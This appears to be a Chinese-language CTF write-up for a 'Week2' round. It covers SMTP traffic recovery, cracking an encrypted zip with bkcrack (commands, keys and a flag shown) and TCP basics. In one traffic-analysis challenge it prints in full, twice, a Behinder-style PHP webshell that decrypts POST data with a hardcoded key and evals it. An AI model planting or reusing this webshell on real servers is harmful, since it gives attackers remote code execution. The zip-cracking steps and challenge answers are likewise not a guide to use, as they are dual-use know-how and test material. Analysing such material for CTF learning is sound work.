2025 问号CTF Week2
2026-08-22 20:05:38

?[Week2] 《关于我穿越到CTF的异世界这档事:破》

靶机打不开

[Week2] 俱乐部之旅(2) - 我邮件呢??

完全不会。搜了一下,这是SMTP流量分析。

为什么呢 先理一下题干

收到一封神秘邮件 就是说 这个题与电子邮件相关

邮件消失了 就是说 邮件可能被删除或者隐藏了 但是网络流量还保留着

捕获到了那段时间的流量 说明给你的是一个流量包 需要你从中回复邮件内容

因此这道题的核心就是从网络流量里还原一封消失的邮件 而发送邮件的标准协议就是SMTP

而且打开了Wireshark发现里面确实有很多TCP数据包

用过滤器tcp.port == 25 or tcp.port == 587或者直接smtp

//25是标准的smtp端口 587是用于客户提交邮件的端口

逐个看TCP追踪流

提醒我digital ID和congratulatory letter很重要

Access to the congratulatory letter requires your **identity hash** as the password

sudo apt update

sudo apt install -y build-essential zlib1g-dev wget

wget [https://github.com/kimci86/bkcrack/archive/refs/heads/master.zip](https://github.com/kimci86/bkcrack/archive/refs/heads/master.zip) -O bkcrack.zip

unzip bkcrack.zip cd bkcrack-master

这个报错啥意思??

在错误的目录下运行了

cd ~/bkcrack-master

./src/cli/bkcrack -C **/home/kali/Desktop/test.zip** -c **id_card.png** -p **/home/kali/Desktop/png_header** -o 0

./src/cli/bkcrack -C **/home/kali/Desktop/test.zip** -c **id_card.png** -k **733236fb 6652cac7 8542e0e2** -U **/home/kali/Desktop/png.zip** **123**

HASH:4458e940b799c5419ac8fbceac043ac5

flag{pl34s3_s4f3gu4rd_y0ur_r3c0v3r3d_c5im_d4t4}

*[Week2] 布豪有黑客(二)

大致判断流量类型 主要集中在IPv4和TCP

按照顺序逐个看流量包

试追踪HTTP流0 看到该流访问了upload_form.php 返回了200 OK

试追踪HTTP流1 看到该流通过POST方法向服务器发送了一个test.jpg格式的文件

导出http对象功能将图片导出到本地

看到一个test.jpg 我们试着导出他

继续审流量包 在流12里看到一堆php代码 必定有意义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

https://www.cnblogs.com/Mar10/p/17888478.html

在博客园里搜 和这篇帖子有极高的重合率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d925b"; //........................32...md5.........16........................rebeyond//这是key
$_SESSION['k'] = $key;
session_write_close();

$post = file_get_contents("php://input");

if (!extension_loaded('openssl')) {
$t = "base64_" . "decode";
$post = $t($post . "");
for ($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[($i + 1) & 15];
}
} else {
$post = openssl_decrypt($post, "AES128", $key);
}

$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];

class C {
public function __invoke($p) {
eval($p . "");
}
}

@call_user_func(new C(), $params);
?>

[Week2] 文化木的侦探委托(二)

首先搞点知识点补充一下

TCP协议

什么是TCP协议

全名是Transmission Control Protocol

位于OSI模型的传输层,是互联网通信的核心协议之一。

TCP就像打电话聊天。

什么是三次握手?

相当于你聊天。

你说在吗?(客户端)SYN

对方说,在的嗯嗯。(服务器)SYN-ACK

你说,好的。(客户端)ACK

这样就建立起了一段有效聊天。

什么是数据传输?

分段和编号

为了保证一个字不错,于是你们会一句一句发。

你发:第一题选A(序列号1)

你发:第二题选B(序列号2)

确认机制

对方每收到一句就会随即回复,好的第一题是A(确认号1)

好的第二题是B(确认号2)

重传机制

假如这时候你发了第三题选C 但是网卡了对方没收到

这时对方就迟迟没有给你发来确认

于是你就会重新发 第三题选C!

体现了TCP的可靠性 每一句话都有落地

流量控制

如果你打字太快了,对方看不过来,手机屏幕都被你刷屏了o((⊙﹏⊙))o.也就是缓冲区溢出。这时候对方就会说,呃呃你慢点发。你就知道了,等他说,好了好了,你再恢复速度

拥塞控制

如果这个时候是网络高峰期,就是所有人都卡死了。你发现对方回消息是龟速,你就该自觉发慢点,试探一下网络,如果发现便通常了,再慢慢加快。这是一种公德心,防止大家都狂发然后把网络挤爆嗯嗯

什么是四次挥手??

正事说完了还不能退出聊天框,要画个完美句号。

你说,我讲完了嗯嗯。**(FIN)**

对方说,明白。(到此,你不能给他发消息了)**(ACK)**

对方也说,我也没事了,bye。**(FIN)**

你也说,bye。(到此,他也不能给你发消息了)(ACK)

所以说,tcp就是确保你有条不紊把所有信息不丢失传送的一个机制。

p.s.:tcp广泛应用于需要可靠传输的场景

比如说网页浏览也就是http https

文件传输 也就是FTP

电子邮件 也就是SMTP POP3 MAP

远程登录 也就是SSH/Telent

[Week2] 破碎的拼图

上一页
2026-08-22 20:05:38
下一页